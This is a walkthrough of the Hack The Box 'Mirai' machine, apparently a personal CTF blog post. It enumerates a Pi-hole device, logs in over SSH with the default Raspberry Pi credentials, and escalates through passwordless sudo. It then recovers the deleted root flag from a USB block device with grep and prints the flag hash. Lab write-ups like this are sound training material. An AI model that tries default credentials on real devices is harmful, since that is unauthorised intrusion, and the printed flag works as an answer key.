Mirai Writeup

12 September 2022 #CTF #HTB #box #easy #linux

mirai info

Enumeration

You guessed it, we will start with a nmap scan:

$ sudo nmap -A -oN enum/1000tcp.nmap 10.10.10.48
[...]
22/tcp open  ssh     OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
| ssh-hostkey: 
|   1024 aa:ef:5c:e0:8e:86:97:82:47:ff:4a:e5:40:18:90:c5 (DSA)
|   2048 e8:c1:9d:c5:43:ab:fe:61:23:3b:d7:e4:af:9b:74:18 (RSA)
|   256 b6:a0:78:38:d0:c8:10:94:8b:44:b2:ea:a0:17:42:2b (ECDSA)
|_  256 4d:68:40:f7:20:c4:e5:52:80:7a:44:38:b8:a2:a7:52 (ED25519)
53/tcp open  domain  dnsmasq 2.76
| dns-nsid: 
|_  bind.version: dnsmasq-2.76
80/tcp open  http    lighttpd 1.4.35
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: lighttpd/1.4.35
[...]

DNS

DNS is listening on tcp so we should try to perform a zone transfer. However we have no hostname, so nothing interesting comes up.

HTTP

If we try to access the website we get a 404:

$ curl -i http://10.10.10.48
HTTP/1.1 404 Not Found
X-Pi-hole: A black hole for Internet advertisements.
Content-type: text/html; charset=UTF-8
Content-Length: 0
Date: Wed, 14 Sep 2022 11:16:08 GMT
Server: lighttpd/1.4.35

There is this X-Pi-hole header that looks interesting. A quick search tells us this is a 'network wide ad blocking' service.

Let's run gobuster:

gobuster dir -u http://10.10.10.48 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -o enum/root.gobuster
[...]
/admin                (Status: 301) [Size: 0] [--> http://10.10.10.48/admin/]
[...]

We can access this admin page:

pi hole page

This confirms that we are indeed dealing with a pi hole device

Foothold

The most popular way to use this Pi-hole service is, as the name suggests running it on a raspberry pi.

The other hint that we have is the name of the box: Mirai, which is also the name of a botnet composed of IoT devices using default credentials.

A quick search reveals the default creds for a raspberry pi are pi:raspberry. Let's try to login:

$ ssh pi@10.10.10.48
pi@10.10.10.48's password:
[...]
pi@raspberrypi:~ $ find -name user.txt
./Desktop/user.txt

Nice.

Privesc

Let's check sudo privileges:

pi@raspberrypi:~ $ sudo -l
Matching Defaults entries for pi on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User pi may run the following commands on localhost:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: ALL

It appears the 'pi' user can run any command as root without the password:

pi@raspberrypi:~ $ sudo -i
[...]
root@raspberrypi:~# cat root.txt
I lost my original root.txt! I think I may have a backup on my USB stick...

Well, it seems we'll have to work a bit more for the root flag. The message says there is a backup on a USB stick so let's use lsblk (list block devices) to find it:

root@raspberrypi:~# lsblk
NAME   MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT
sda      8:0    0   10G  0 disk
├─sda1   8:1    0  1.3G  0 part /lib/live/mount/persistence/sda1
└─sda2   8:2    0  8.7G  0 part /lib/live/mount/persistence/sda2
sdb      8:16   0   10M  0 disk /media/usbstick
sr0     11:0    1 1024M  0 rom
loop0    7:0    0  1.2G  1 loop /lib/live/mount/rootfs/filesystem.squashfs

We can see that sdb which is most likely our USB stick is mounted on /media/usbstick:

root@raspberrypi:~# ls -RA /media/usbstick
/media/usbstick/:
damnit.txt  lost+found

/media/usbstick/lost+found:

No root.txt but let's check out this damnit.txt file:

root@raspberrypi:~# cat /media/usbstick/damnit.txt
Damnit! Sorry man I accidentally deleted your files off the USB stick.
Do you know if there is any way to get them back?

-James

Fucking Hell James.

We have to recover this file, but remember: in Unix everything is a file, including block devices. That means we can use standard tools like grep or strings:

root@raspberrypi:~# grep -a root.txt /dev/sdb
lost+found
         root.txt
lost+found
         root.txt
lost+found
         root.txt

The output is a bit weird, but we can see that there used to be a root.txt file here.

Since we know what we want (a md5 hash), we can grep for a string that contains 32 hex characters:

root@raspberrypi:~# grep -aoP '[[:xdigit:]]{32}' /dev/sdb
3d3e483143ff12ec505d026fa13e020b

-a: treat binary file as text
-o: output only the matched pattern instead of the line
-P: use Perl regex syntax
[[:xdigit:]]{32}: look for 32 consecutive hex characters

And boom, here is our flag.

This approach worked because we knew what we wanted and the file was relatively small. A better way to do things is described in 0xdf's writeup.

Key Takeaways

Always try to identify hardware/software and use default creds
You can use grep or strings on block devices (much wow)